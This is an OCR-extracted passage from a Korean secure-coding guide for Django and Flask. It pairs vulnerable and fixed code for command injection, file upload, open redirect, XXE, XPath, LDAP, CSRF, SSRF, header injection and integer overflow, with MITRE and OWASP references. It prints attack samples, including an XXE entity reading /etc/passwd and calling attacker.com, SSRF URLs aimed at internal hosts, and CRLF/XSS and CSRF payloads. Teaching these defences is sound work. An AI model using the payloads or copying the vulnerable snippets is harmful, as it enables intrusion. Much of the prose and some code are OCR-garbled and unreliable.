12: # date = re.sub([[;:&)C\\\II', ", date)

13

14: # shell=True SN2 M of1 T QIXE HIZ=E UH
(53 subprocess.run(['emd”, "/c", "backuplog.bat”, date])

16: return render(request, '/success.html’)

2}, EuX=
® CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection’), MITRE,
https://cwe.mitre.org/data/definitions/78.html

@ Command Injection, OWASP
https://owasp.org/www-community/attacks/Command_Injection

® 0OS Command Injection Defense Cheat Sheet, OWASP
https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html

@ Miscellaneous operating system interfaces — os.system(), Python Software Foundation
https://docs.python.org/3.10/library/os.htmI?highlight=0s%20system#module—os

® Subprocess management, Python Software Foundation,
https://docs.python.org/ko/3/library/subprocess.html#security—considerations

® Regular expression operations, Python Software Foundation,
https://docs.python.org/3/library/re.html
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PART XI2& AIROIZE JH0I= | HINTE L=OIOIE 2SS 2 =

re

Q ANz Sof Wl Y=E

© AT Lie] MEnto|
YECE mF= 2l
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Ct. Z=O0i|H|
H=C e MY 7=, T7|, SRR 32 fad ZAE ofX| 94 IMY A|AH I MY Z2
TARO| o3l AYTE, WAC S YE HYO TA0| AAHO| Y2E T 4+ AUt
1:  from django.shortcuts import render
2. from django.core.files.storage import FileSystemStorage
3:
4:  def file_upload(request):
5 if request.FILES['upload_file']:
6: # MEX7 F2Eol= IYUZ 4T 0] XAt U
7: # QITMGHK| ATt
8: upload_file = request.FILES['upload_file']
9: fs = FiIeSystemStorage(location='media/screenshot' base_url='media/screenshot’)
10: # Y=L o= YU CHet 37, i, X S ABotK Y=
11: filename = fs.save(upload_file.name, upload_file)
12: return render(request, '/success.html’, {filename"filename})
13: return render(request, '/error.html’, {'error:' T HZE AIHY)

Offf ZE= Y2E of= WUQ| M=, F7|, MY YA S= At H2ZEE Mghotlr QUCt MY Ete
5912 MIME EfIS EQIsts TIHOZ WYl 0|S0lM HEAIS MY 22 HIE HYNES S5 Y2C
Hots 3lofg & U0 MAXF|C AILUNE &fPlote #ES 20 ZEL

1 import os

2. from django.shortcuts import render

3: from django.core.files.storage import FileSystemStorage

4:

5. # ®2L ot= It =, 37|, =KX Kot

6: FILE_COUNT_LIMIT = 5

7. # ¥2C of= IFAo X0 AMO|X X3k 0 ) BMB - 5*1024*1024
8: FILE_SIZE_LIMIT = 5242880

9: # ol8cl= HX= I0|ESAER #E[H]

10:  WHITE_LIST_EXT = [

1 "jpg’,

12: "jpegd'

130 ]

14:

15:  def file_upload(request):

16: # oA I HSt

17: if len(request.FILES) == 0 or len(request.FILES) » FILE_COUNT_LIMIT:
18: return render(request, '/error.html’, {'error': Tt Jh4= Z=1H})
19:
20: for filename, upload_file in request.FILES.items():
21: # o B A=
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22: if upload_file.content_type != 'image/jpeg':

23: return render(request, '/error.html’, {'error': 'Y Et 2FY)

24: # M 37| St

25 if upload_file.size ) FILE_SIZE_LIMIT:

26: return render(request, '/error.html’, {error': 'MAAO|X 227)

27: # I SHERE AL

28: file_name, file_ext = os.path.splitext(upload_file.name)

29: if file_ext.lower() not in WHITE_LIST_EXT:

30: return render(request, '/error.html’, {'error': ' Et 2FY)

BilE

32: fs = FileSystemStorage(location="media/screenshot’, base_url = 'media/screenshot)
33: for upload_file in request.FILES.values():

34: filename = fs.save(upload_file.name, upload_file)

35: filename_list.append(filename)

36:

37: return render(request, "/success.html”, {"filename_list": filename_list})

gt Xz

(® CWE-434: Unrestricted Upload of File with Dangerous Type, MITRE,
https://cwe.mitre.org/data/definitions/434.html

@ Unrestricted File Upload, OWASP,
https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

® User—uploaded content, Django Software Foundation,
https://docs.djangoproject.com/en/3.2/topics/security/#user-uploaded—-content-security
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TIOF AFZAH U0l SO[ERAER 2|7t 27HSSHL 2|LHO[ URLS| QIR ZrO= AFZE|00F2t Sh=

E 2ICIO|AMOIAM T2EZT host METF S07IX| $= A

0
40
rr
H1

fTH URL(relative)g At2 L ASoHOF
SICH = HOf URL(absoute URL)S At2EH #Q Z|CiojAIME Alsisty| MO AF2A+ 2 URLO|

https://myhompage.com/ X3 AMH|AGID U= URLE AZSH=X|E EOIGH0F SiCt.
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Ct. IE0)X|
CIS2 QHHSH| B2 M= AISAIZRE YL url —’F—i% A5 20| redirect 22| QX2 AIE5IL
ULt O] B ALEAIL Q&=5HK| B2 AOIEZ H 7Lt mjd(Phishing)340 =22 4 ULt

rLlF
_O'E
_O'E

from django.shortcuts import redirect
def redirect_url(request):

# AF2XF Q20| E&tEl URL FAZ 2|CHO[HE B}

1

2

8

4. url_string = request.POST.get(url', ")

5

6 # 04 MOIEER HEE= 5 ARBAPDL Oy 340
7

return redirect(url_string)

2 otHet IE ONZ AIEAIZRE FAE YHYOL SCIO[HES QU= IEZ et ZH210]
TotE & QU| W20 Sl0[EAEZ APHO| Yol QM EALO|EM $ot0] 2|CI0[HE & 4~ JUEE SiT.

QtHst JE Of|A|

from django.shortcuts import render, redirect

1

2

3:  ALLOW_URL_LIST = [

4 '127.0.0.1",

5: '192.168.0.1",

6: '192.168.0.100,

7 'https://login.myservice.com’,
8 '/notice’,

11:  def redirect_url(request):
12: url_string = request.POST.get(url’, ")

13

14 # 0|58 & A= URL HIE HEI6HH

15 # SIS AOIEQ S Aot ULk

16: if url_string not in ALLOW_URL_LIST:

17: return render(request, '/error.html’, {'error':' 512 LX| Y= FAQULICLT)
18:

19: return redirect(url_string)
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gt Xz

® CWE-601: URL Redirection to Untrusted Site (Open Redirect’), MITRE,
https://cwe.mitre.org/data/definitions/601.html

@ Unvalidated Redirects and Forwards Cheat Sheet, OWASP
https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html|

® Django shortcut functions — redirect, Django Sowftware Foundation,
https://docs.djangoproject.com/en/3.2/topics/http/shortcuts/

@ Redirects and Errors, Flask,
https://flask.palletsprojects.com/en/2.0.x/quickstart/#redirects—and-errors
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0| AFEoh= XML ItM2| ot ZRQI Ixml2| B2 2F AEIE| 712 24 542 resolve_entities SHS
HI2Hd3} oo StCt. ot QI ZM 23| Al HIEQIT BMAES YX|Sk= no_network 40| 243K(True)

E[0 UK 2AISHOF Bt}

1=
CHS OIFE XML AAE Ql012h BASHE FECH BAXKE Of2fet 20| XML 212 AEEIS HESH=
xxe.xml GO|EIS H&3HT, 012 WS 0f /etc/passwd TUS HZXE 4 UCh

(?xml version="1.0" encoding="ISO-8859-1"?)
({IDOCTYPE foo [
({IELEMENT foo ANY )
{IENTITY xxel SYSTEM "file:///etc/passwd" )
{IENTITY xxe2 SYSTEM ‘http://attacker.com/text.txt")
D
(foo)&uxxe1;&xxe2;{/foo)

1. from xml.sax import make_parser

2. from xml.sax.handler import feature_external_ges

3.  from xml.dom.pulldom import parseString, START_ELEMENT

4: from django.shortcuts import render

5. from .model import comments

6:

7:  def get_xml(request):

g: if request.method == “GET”:

9: data = comments.objects.all()

10: com = data[0].comment

11: return render(request, '/xml_view.html’, {'com"com})

12:

13: elif request.method == “POST":

14: parser = make_parser()

15: # 2 Aot AEIEIE Zololk=s AEE True2 XEg 4% Ffoftt

16 parser.setFeature(feature_external_ges, True)

17: doc = parseString(request.body.decode(‘utf-8’), parser=parser)

18: for event, node in doc:

19: if event == START_ELEMENT and node.tagName == “foo”:

20: doc.expandNode(node)

21: text = node.toxml()

29: comments.objects.filter(id=1).update(comment=text)
return render(request, '/xml_view.html’)
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13:
14:
53
16:
17:
18:
19:
20:
21:
22:

from
from
from
from
from

xml.sax import make_parser

xml.sax.handler import feature_external_ges
xml.dom.pulldom import parseString, START_ELEMENT
django.shortcuts import render

.model import comments

def get_xml(request):

if request.method == “GET":

data = comments.objects.all()
com = data[0].comment
return render(request, '/xml_view.html', {com":com})

elif request.method == “POST":

parser = make_parser()
parser.setFeature(feature_external_ges, False)
doc = parseString(request.body.decode(‘utf-8’), parser=parser)
for event, node in doc:
if event == START_ELEMENT and node.tagName == “foo”:

doc.expandNode(node)

text = node.toxml()
comments.objects.filter(id=1).update(comment=text);
return render(request, '/xml_view.html’)

= A DN =

® CWE-611: Improper Restriction of XML External Entity Reference, MITRE,
https://cwe.mitre.org/data/definitions/611.html

@ XML External Entity (XXE) Processing, OWASP,
https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_ Processing

® XML External Entity Prevention Cheat Sheet, OWASP,
https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html|

@ XML vulnerabilities, Python Software Foundation,
https://docs.python.org/3/library/xml.html#xml-vulnerabilities

® Ixml API, Ixml library,
https://Ixml.de/api/Ixml.etree. XMLParser—class.htm|

® PyGoat, OWASP,
https://github.com/adeyosemanputra/pygoat
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7t e
( »3 ———— [string//users
—> — é [loginO/text0
| XML ='or1'="T'

(a] <4+— |\ and pw/text0

L ——J ="+pw,test+"]]
H M © Xpath A=
T2 81
‘or1=lor'd'~'a ‘[1*luser[@role="admin somenting or '1'="1 |

HBEX| 22 o ROl XQuery EE XPath HZSS Msls XA ASHO B2APH B2

TEE o= HFoHl YOO H2E HYsH Si7tEX| 2 HOIHE SEOIHL ASEXE Y +
U= HerFHO|IC

XQuery i XPath 2|0l AFREIS /2 912 HO[E{0] 501 S42X U al 02f0iS TE 5t
QIXtEIE H22S XIS XQueryS ALRSHOF BiCt

Ct. IO
CtE OXl= MO|MOojA XML HIOIHE X2|5t7| fIgt 7|2 2=l xml.etree.ElementTreeE 0|&510]
MEX HEE 7= OMCt xml.etree.ElementTree 2E2 H|SHHQl Xpath 7|52 ME5HH, Xpath

HOME QXItoiA AF8ot= YHEE HMSoHA| M=

1:  from django.shortcuts import render

2. from Ixml import etree

3:

4:  def parse_xml(request):

55 user_name = request.POST.get(user_name', ")

0:

7: parser = etree. XMLParser(resolve_entities=False)

8: tree = etree.parse(user.xml’, parser)

9: root = tree.getroot()

10:

11: # HASEX| k2 E QAL user_nameS AtESH QHHGHK| U2
12: # ZOIZ0| query H0 XN

13: query = "/collection/users/user[@name=" + user_name + "]/home/text()"
14: elmts = root.xpath(query)

(53 return render(request, 'parse_xml.html', {xml_elementelmts})
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MO 3.3 0| HOHAMO| O|RE 2X|El xml.etree.ElementTree & CHAIl Ixml 2t0|E22|S ARSI,

3.
QI AAHUZ AUXSIGHA AHE SIS,

1: from django.shortcuts import render

2. from Ixml import etree

3:

4:  def parse_xml(request):

5: user_name = request.POST.get(user_name', ")

6:

7: parser = etree. XMLParser(resolve_entities=False)

8: tree = etree.parse(user.xml’, parser)

9: root = tree.getroot()

10:

11: # Qe UBZLS paramnamelZE QUXtSE SHA At

12: query = ‘/collection/users/user[@name = $paramname]/home/text()’
13: elmts = root.xpath(query, paramname=user_name)
14: return render(request, 'parse_xml.html, {xml_element'elmts})

= A DN =
® CWE-643: Improper Neutralization of Data within XPath Expressions (XPath Injection’), MITRE,
https://cwe.mitre.org/data/definitions/643.html

@ XPATH Injection, OWASP,
https://owasp.org/www-community/attacks/XPATH_Injection

® XML vulnerabilities, Python Software Foundation,
https://docs.python.org/3/library/xml.html#xml-vulnerabilities
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from Idap3 import Connection, Server, ALL

from django.shortcuts import render

config = {
"bind_dn": "cn=read-only—admin,dc=example,dc=com”,

"password": "password",

def Idap_query(request):
search_keyword = request.POST.get('search_keyword',")

dn = config['bind_dn']

password = config['password]

address = 'ldap.badSoruce.com'

server = Server(address, get_info=ALL)

conn = Connection(server, user=dn, password, auto_bind=True )

O

rir

Iy

S

o
=

# AR Y2 LERY B
# 0l0fY 4 ict

search_str = '(&(objectclass=%s))' % search_keyword

Zxto| A

L=

ron

b 4502

Ok

conn.search(
‘dc=company,dc=com,
search_str,

attributes=['sn’, 'cn’, 'address’, 'mail’, 'mobile’, 'uid],

return render(request, '/ldap_query_response.html’, {'|ldap’:conn.entries})
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A8XISl U = LDAP ZoIZ0| AIZE H4E O|A0|T ot HOIE A Al SAM === AS
olfet = AL
1: from Idap3 import Connection, Server, ALL
2. from Idap3.utils.conv import escape_filter_chars
3:  from django.shortcuts import render
4:
5. config = {
6: "bind_dn": "cn=read-only-admin,dc=example,dc=com”,
7: "password": "password",
8 }
9:
10:  def Idap_query(request):
11 search_keyword = request.POST.get('search_keyword',")
12:
13: dn = config['bind_dn']
14: password = config['password]
1155 address = 'ldap.goodsource.com'
16: server = Server(address, get_info=ALL)
17: conn = Connection(server, dn, password, auto_bind=True )
19:
20: # A AUHo| BHES HE0IH 340 ABE = U= =XNE
21: # O|A#0|Z5tD QlCt
22: escpae_keyword = escape_filter_chars(search_keyword)
23: search_str = '(&(objectclass=%s))" % escpae_keyword
24
255 conn.search(
26: ‘dc=company,dc=com’,
27: search_str,
28: attributes=['sn’, 'cn’, 'address’, 'mail’, 'mobile’, 'uid],
29: )
30:
31: return render(request, '/ldap_query_response.html’, {ldap":conn.entries})
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gt Xz

® CWE-90: Improper Neutralization of Special Elements used in an LDAP Query (LDAP Injection’), MITRE,
https://cwe.mitre.org/data/definitions/90.html

@ LDAP Injection Prevention Cheat Sheet, OWASP,
https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_ Sheet.htm|

® LDAP filter handling, python-Idap project team
https://www.python-ldap.org/en/python-ldap—3.3.0/reference/|dap—filter.html
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<img src="http://www.victim. com/board/notlce/wr|te/'7ndme-*-'3|Xf&emqﬂ—
admin@victim.com&title=Z123%|&contents=HotAt D WM " width=0 height=0>
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IO MOl 71EF 20| AFRSHD U= Django EHUYTL} Flask THUYF0M= 242t CSRF(Cross—Site
Request Forgery) E2 7|5& XI5t JCH, Djangos {% csrf token %} Ef71E 0|28 CSRF E2
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Diango Z#QISIT} Flask ZQU9ITe 1S0fet THALTHM 7|=HO2 CSRF TokenS AIB3HA
CSRF 220REE| B3l 7|52 JHAIT Tk S 7152 AKRSH| st form B4 L] csrf_tokenS

AHEHOF BHCY.

Ct. Z=O0i|H|
71) Django T[T A2

Django Zef| QI 0M= 1.2 HTRE CSRF FfES Xl 7SS 71222 MSotal At OIS/

CSRF SMZ H|2H517LL EIZ210jM csrf_exempt decoratorE AtR5H= AR, CSRF 320 =2 £ QICt

* Django OIEY0| MdH(settings.py) At

—

MIDDLEWARE = [
'django.contrib.sessions.middleware.SessionMiddleware’,
# MIDDLEWARE =&0|M CSRF &=2 AH L= FAMX{2| 5tH
# Django ¥0|M CSRF R84 At MHXMo= XA ECt
# 'django.middleware.csrf.CsrfViewMiddleware',
‘django.contrib.auth.middleware. AuthenticationMiddleware',
‘django.contrib.messages.middleware. MessageMiddleware',

'django.middleware.locale.LocaleMiddleware',

2@ © G H @ e B W I

—

CtZ2 Django®| CSRF 7|sS #dsfoty| #igh et OISH0 28 HME 2o =Lt DS
CSRF 7Is& F4 E= AH X2|otX| 240t0F ottt *MES! HO|X|0= csrf_tokens form EHZL QHOf| EHA|

ofioF O|SAO0A XM= CSRF 7|58 AlEE =+ AT
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N

MIDDLEWARE = [
'django.contrib.sessions.middleware.SessionMiddleware’,
# MIDDLEWARE ==0|AM CSRF &=2 &4st ottt
‘django.middleware.csrf.CsrfViewMiddleware',
‘django.contrib.auth.middleware. AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',

'django.middleware.locale.LocaleMiddleware’,

* Django & 7Is MZ(views.py) At

niSe

|010fl CSRF &Z 7I50| 243} =l0of JUNE ViewlilM CSRF 7152 shtlot= A0l siE

CHaHM CSRF 43S 7152 AMSHA| %A EICt CH2E Function—Based ViewO|A] CSRF ZZ 7SS H|
St= GIME 2o ZCh.

i
O
M5

—

=~ =5 o5 =
W =

©  ©F ool =1 o) ol R GOl

from django.shortcuts import render

from django.views.decorators.csrf import csrf_exempt

# csrf.exempt HIZ20|E=Z O|S00N ESE= CSRF 7SS oSHASHCE
@csrf.exempt
def pay_to_point(request):

user_id = request.POST.get(user_id', ")

pay = request.POST.get('pay’, )

product_info = request.POST.get('product_info’, ")

ret = handle_pay(user_id, pay, product_info)

return render(request, '/view wallet.html’, {'wallet"ret})

50
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Django= 7|2&Q=2 CSRF 7|52 ZHlot UKX|T, 2S50|5kAH CSRF 7] oliX[aHof of= d*= 0
012 CSRF 7|s& MYMO= H|&d3t of7| Hit= DIS0S| CSRF 7|52 243t ot st Q|
CHOHM T csrf_exempt CIZ2|0|HE AtE5t0{0F 5t O] R0 A=ZAA0|E QF X9 8o =52
= Aen=2 FOF J|S0{0F SHLY.

OHMSH TE OfA|
1:  from django.shortcuts import render
2. from django.template import RequestContext
3
4: # csrf_exempt HIZ20|HE AAStALE 4 X2[BHCt
5. # @csrf_exempt
6: def pay_to_point(request):
7 user_id = request.POST.get(user_id’, ")
38 pay = request.POST.get('pay’, ")
9: product_info = request.POST.get('product_info’, ")
10:
11: ret = handle_pay(user_id, pay, product_info)
12:
13: return render(request, '/view_wallet.html', {'wallet"ret})
| 4
* Django "IEH MY At
OIS0l CSRF 7|s= &4daloli= HEH HO[X|0l CSRF EZS FAloHX| 9= 49 CSRF A3
s M8 =+ ¢t
QIMSIX| 42 IE OffA|
1: {I==html| page--)
2: (form action="" method="POST")
3: (I--= form EHZL LHEOf| csrf_token O/XE--)
4: (table)
55 {{form.as_table}}
6: (/table)
7: {input type="submit"/)
8.  (/form)
y
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OIS2U00IM CSRF 7IsE g-datet 20 RS HOIX|0M= csrf_token S HAISIO{OFZH F&XQI
st
=

CSRF #E 7ls=2 M8

1: {I==html| page--)

2. (form action="" method="POST")
3 {% csrf_token %} {!--csrf_token AM2-)
4 (table)

5 {{form.as_table}}
6 {/table)

7 {input type="submit"/)
8. (/form)

L}) Flask ZAUYT Al

* Flask app A& At

Flask®| WTF I{7|X|E AI25tH CSRF ES 7|HS AI2E £ Ot Of2ff Gix| Z=&= CSRF AH0| T|X|
2 MEIE HO ZCt

LS

1:  from flask import Flask
2:
3: app = Flask(__name_)

Flask ZHURTE AtEaH # OfF2AH0IMZ F=ot=s EP, CSRFE HX|5tHH Flask-WTF
extension? CSRFProtectS AI2o{OF SHCt CHEab Z0| appl| AXNstr HTML(EEE!) HO|X|0=
CSRF EEZ F7I5l0F StLCt.

r
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from flask import Flask

2. from flask_wtf.csrf import CSRFProtect
3:
4: # CSRF &X™ F7}
5. csrf = CSRFProtect(app)
6: app = Flask(__name_)
7:  app.config[‘'SECRET_KEY’] = os.environ.get('SECRET_KEY')
8: csri.init_app(app)
| 4
* Flask HIE3H M3 At
9 ZEXME &40 CSRF 7|s2 43t st HTML IO csrf_tokens BAISHX| 42 42 CSRF
45 7158 AgE 4 ot
IHMSIX| 242 TE Ol
1:  ({form action="" method="POST")
2: (I-- form B2 L§E0 csrf_token O/XE--)
3 (table)
4: {{as_table}}
5 {/table)
6 {input type="submit"/)
7. (/form)
| 4

EIZ2] HO|X|0|E csrf_token 7S HAISHFEOF MAXQI CSRF &

ol

0] $HEICt

O -

FlaskForm A2 Al0fl= {{ form.csrf_token }}2 TA|GHOF ot EIZ2I0)| FlaskFormS AM2SHA| L8

AR0l= form EH 2Hf| hidden input Z2Z {{ csrf_token }} &S HAISHOF SiCt.

o
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1: (form action="" method="POST")

2 (I-= form E{Zl WSO csrf_token &E--)

3 {input type="hidden" name="csrf_token" value="{{ csrf_token() }}" />
4 (table)

B {{table}}

6 {/table)

7 {input type="submit"/)

8. (/form)

= A DN =
® CWE-352: Cross-Site Request Forgery (CSRF), MITRE,
https://cwe.mitre.org/data/definitions/352.html

® Cross Site Request Forgery (CSRF), OWASP,
https://owasp.org/www-community/attacks/csrf

® Cross-Site Request Forgery Prevention Cheat Sheet, OWASP
https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html|

@ Cross Site Request Forgery protection, Django Software Foundation
https://docs.djangoproject.com/en/3.2/ref/csrf/

® CSRF Protection, WTForms
https://flask-wtf.readthedocs.io/en/0.15.x/csrf/
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7L e

© =xE a¥s
LHS AEof] FE

© zx% eus s —
>
< S < B
O 2l=stx| 2
Lt Bl AA bl
ULHH Ol AF2tof| M= ME[E LHR Rp2lof| M2 27F
Aot AT HXE HXIA| %2 AZAF LHUS HE MHZIS| QF0| A2l 2L42XQl A7t eiet
U= HORFHO|Ct, R0 E5E & M7} Foor OiE2(AH01MS Eoloh= 49 34XA= URL = 2FES
Y=ol GZSHE Ralote YAC= H|IFHLHR SES FrotALt A HESYI0 U= HOHE &=
g == QO
L. QMM IHI|Y
Al Jhsot HYl LHOIAM ALSXS| YHZUS THE AIARS| MH|A SE0| AtEok= 4R, ARSI YHUS
Sl0|ERAE WAO=Z TE Tt
BS0[5HA AA7t X|¥sk= FA2l URLS 2O0HS0{0F 5h= dREtH R URLS SH2AER XIF
ot TEE STt Eoh sYst LHE HEYI0 JCtE 717| 215, F2dEsts &216t 20| 0|F0{H
T UTE oIt
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Ct. SOl
(B3 : Mgl 3= o)
g el 39| o

W2 £ HE &£ http://sample_site.com/connect?url=http://192.168.0.45/member/list.json
QE I AtE
admin H0|X] B2
EOQl XMIE 3610 http://sample_site.com/connect?url=http://sample_site.com:x@192.168.0.45/member/
=2 MH 35 list.json

Ct= URLEZ 0|2¢t
Filter 23|

EHRIE AMMIPE MY

OX-{ 3=
=

http://sample_site.com/connect?url=http://192.168.0.45/admin

http://sample_site.com/connect?url=http://bit.ly/sdjk3kjhkI3

” http://sample_site.com/connect?url=http://192.168.0.45/member/list.json
=R

ALY oY FE http://sample_site.com/connect?url=file:///etc/passwd

LS Oidl= QHHaX| 42 TEE B0 ZC01 ASAIZRE YHE URL FAE HE Sl0| AE01H o5t

LS

2 OE MU X0 =g + UA =

—

from django.shortcuts import render

import requests

def call_third_party_api(request):
addr = request.POST.get(address’, ")

# AISADL 23t FAE ZESIK| Y1 HTTP 28 =i

=
# SEHS ASAOA gret

ol

result = requests.get(addr).text

4
2@ @ B FH @ g B W iy

return render(request, '/result.html’, {result"result})

Ciaf 20| OFHSH TS SHAGIH AN HOIE! At 228 HolskD IfEEis URLE AIBE 4 9002
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N

from django.shortcuts import render

import requests

# ol&ot= TO2lS 3H0|E2[AEN Fofgt Z2 DNS rebinding 34 S0

# cEF 0] AN M2 = U= X0 e IPE AR

# Hd3ol= A = t

ALLOW_SERVER_LIST = [
‘https://127.0.0.1/latest/",
'https://192.168.0.1/user_data’,
'https://192.168.0.100/v1/public’,

4
@ © e F @F L @I

N
N

12:
13:  def call_third_party_api(request):
14: addr = request.POST.get(address', ")

1%:

16: # AMEAE Aot URLS 30|EZAER HASet & 11 ZutE HrersHo]

17: # ABHA| 2 AR QFS BEUX| ¥:E Moottt

18: if addr not in ALLOW_SERVER_LIST:

19: return render(request, '/error.html’, {‘error = 'S{%X| L2 AMHULCET)
20:

21: result = requests.get(addr).text

22: return render(request, '/result.html’, {result"result})

gt Xz

® CWE-918: Server-Side Request Forgery (SSRF), MITRE
https://cwe.mitre.org/data/definitions/918.html

@ Server Side Request Forgery, OWASP
https://owasp.org/www-community/attacks/Server_Side_Request_Forgery

® Server-Side Request Forgery Prevention Cheat Sheet, OWASP
https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
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13 HTTP SE=Y

7L e

1 sp?ref=http://xxx.com/%0d%0a
Content Type:+text/html:%0d%0a%0d%0a
TEST<script>alert("XSS'):</script>

© 2% Ljztnjest Sescol 23

==
|

- l String r = request aramater("ref”)
> @ response.setHeader(” Referer i
OHTTP ST 28 ‘ %>
UM

ferer:http://xxx.com/
Content-Type:text/html;

TEST<script>aleert("XSS’):</script>
Content-type:text/htmlicharset=1SO-
1

HTTP 23 Lio| m2t0|E(Parameter)Zt HTTP S SlICI0 Z&HE0] ALSXIOA| CHA| MEE o, ™z
CR(Carriage Return)O|Lt LF(Line Feed)2t &2 IWHZXI7t EXHSIH HTTP SEO| 274 o|MCc= 22|
=+ QU 0] 32 34Xt= IHYEXAE 0185 XN ¢ SES 3= Al7|1, F WM SEo| 2doxel IEE
ZQI5H XSS 2! HA|Z|l&(Cache Poisoning) 224 52 $3%t 4 Lt

i 2t0l==2|E

[e][]

IO[M 3.9.5+ HTO| M| URLValidatorOiiAf HTTP SEEE FFH0| 2uEP|x 1
AEdH= DjangoH{ M= FE0| RUCL HTTP SEHEY SACZRE KS2H 0[S QHHSHA X|7[2H Z|d
X

HHEQl 20|22, Z/ALYIE AEotd AR LHUM UisiM= EXet A4S

[

o

=

Lt rEst 3371

F mtoEo| 22 HTTP Y GCi(ME =01, Set-Cookie &)l Z&A|Z A2 CR(\r), LF(\n)2t
2 JHHZAE MZAsHOF ottt QIR 20| S, 771, 21 S0 AE2 0= & Wl =XE 43S
ofal 7tsSotttH SIH0| ALEEE AN S& 2A0|ESAERZ HSHSHOF ottt

my
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Ct. IE0)X|
AEA 20 ZE U= EHEY H A3 80| SHU AEcks 32 HWAZAZ Qs 0= 74 SEHe=

=
EYE0 ASAA MEE & AL

—

from django.http import HttpResponse

def route(request):
content_type = request.POST.get('content-type’)
# o2 Qegts AZ E= THEZ 5HK R0
# S8 olIE9 #oZ HSIA|H 2|AltCt
res = HttpResponse()

res['Content-Type'] = content_type

© © o S o ol B W I

return res

4

SE 2ES Glgst7] 2l \r, \nt Z2 X0 ol X E= GRS HEN SEEY0| LYotX|

N

from django.http import HttpResponse

def route(request):

content_type = request.POST.get('content-type’)

# SEEIOO ZetE £ Ue 2R UHL WOl JHd 2AE HABHC
content_type = content_type.replace(\r', ")

content_type = content_type.replace(\n', ")

@ © o F @G L @I

N

res = HttpResponse()

N
N

res['Content-Type'] = content_type

_\
e

return res
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gt Xz

® CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Response Splitting), MITRE,
https://cwe.mitre.org/data/definitions/113.html

@ HTTP Response Splitting, OWASP,
https://owasp.org/www-community/attacks/HTTP_Response_Splitting

® Django security releases issued, Django Software Foundation,

https://www.djangoproject.com/weblog/2021/may/06/security-releases/
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o LUSER= Y 7|7t I™E SH0M BTt [N + U= BRIE 20 U= Mot

HA
0| O=X| A OFF &2 4 L= 47t =0 Z230| O|7|X| A SEoHA =

rir

2o M MEE

FIfHoIC. 59| gE=2 Mo, H22| &Y, MR FA S& 2ISt ZU2ZE MEAPL HMSot=s eHat
A

—

HJIO

IO 2. xOllA= int EIR) H0| 20| B 7hsSt HRIE EHOMA &H XIS E longlE EMYS HAS
HYIE SESICH OOIMW 3.x0M= long ERY int EfU2E RX5HE, M Bt X=o|
‘Arbitrary-precision arithmetic’ HAlg AEd] LHEZRE YMGHA| Z=Ct SHAZH THO[M 3. x0IM =
7|1Z9| pydata stacks AtEdt= IH7|XIE AEY e CAHOY SUSHA H+ HI0|E7t M =E2 Q4

g

o
HESIK|ZE S FQH0|| F St 7 |X| Ee=

mjo
gQ
=2
[

ZZ2O dHM0f| QOISHOF SHCF 0]X2 0| XHHIIMS O

J

2t0|22{2|E ALEdt= 20| 2[aHOF SHCY.

Lt. ot

o

AY7|H

o

712 TOPH Xt=YS AFEoHA| a1 TH7 K| HiSot= HIOIE EtYS AEY E2 sig W7 KoM XS

St= OIO|E| ErRel BHa WALl x|Lf 27| YIEA| 2fQI5H0F SHCt, numpy01|A1E J|2MOZ G4H|IE 20|29
H4Y HEE Aol HAIF HJHE & gle 2 379 Xt= 22X Al(object) 22 Hetol= 7|52
MISSICE SHXIZE 64HIEE HOAN= 37|19 =At= MUZE XM2|SHK| 2Tt M2EA Ha0 gf &Y Mo
HIEA| #H40| 2[4 2 XIS &0lot, HAE HOM= U2 SYoIX| Y=X| EHIAEGSHOF ot
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Ct. IE0)X|
LE2 ASMES Aliel 1 Z210E HEstks 8% AR, ALt 7kset Xtof| tiet AS0| o o=
HASIA| AT BretgtE Xeloks ee0ilM O7IX| 2 2F7F Y + UH

—

import numpy as np

def handle_data(hnumber, pow):
res = np.power(number, pow, dtype=np.int64)
# 64HES HOME AR X7t HE 42 QHE27t Do Z21240| 00| =t

return res

| 4

OHERO WS USIT Y2sHe 20| AIRSHE HOJE| EIJQ AARCH It ALt KX
SOISHOF BT Biof 9| AT OJAIRE ZHS IO} SHe S QUIZROIL UASIK| Sk T 7|2 X0
= 30l50} BHt

0
r
o
H 2
gN
mjo
oY
>
=O£
o
o
e
40
I
i

AL ARZE KAt

—

import numpy as np

MAX_NUMBER = np.iinfo(np.int64).max
MIN_NUMBER = np.iinfo(np.int64).min

def handle_data(number, pow):

@ ¥ DL @2

calculated = number ** pow
9: # IOIM 7|2 X522 F 8 Zist = 0|8 ZAlH QHEERSR EX|
10: if calculated ) MAX_NUMBER or calculated { MIN_NUMBER:

11: # QHEER BX| Al HEY Z2E LEH= -1 gt Bt
12: return -1
13:

14: res = np.power(number, pow, dtype=np.int64)

15: return res
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® CWE-190: Integer Overflow or Wraparound, MITRE
https://cwe.mitre.org/data/definitions/190.htm|

@ Integer Overflow Error, ZAP,
https://www.zaproxy.org/docs/alerts/30003/

® Arbitrary—precision arithmetic,
https://en.wikipedia.org/wiki/Arbitrary—precision_arithmetic

@® PEP 237 - Unifying Long Integers and Integers,
https://peps.python.org/pep-0237/

® Numpy Types
https://numpy.org/doc/stable/user/basics.types.html?highlight=s
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IOMC| Django Z|AYF0IM H&S Helch= 7152 MSotl A2, diF 7Is AR Altl= M7 |2
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MHOA 2ottt 2ot 2o MEY &~ Gl Y0 S8 T2 WRZE S0E & U= AH-HS

HESD, BT HOt Jls MOl MBS YUS MHs) YN HE AZHS Yof= T2 #Y

Ct. 01X
L2 ATGH| §2 TEZ F7|0f M Het SES 71Het HE|XIRIX| 2ol 20| ARZAe] HAES
x7|38t ot1l HEE HU= GMCE FIMAM SES 7HME 2Kt (RS sfelstt

—

from django.shortcuts import render

def init_password(request):
# F7|0M Het FEE T =20
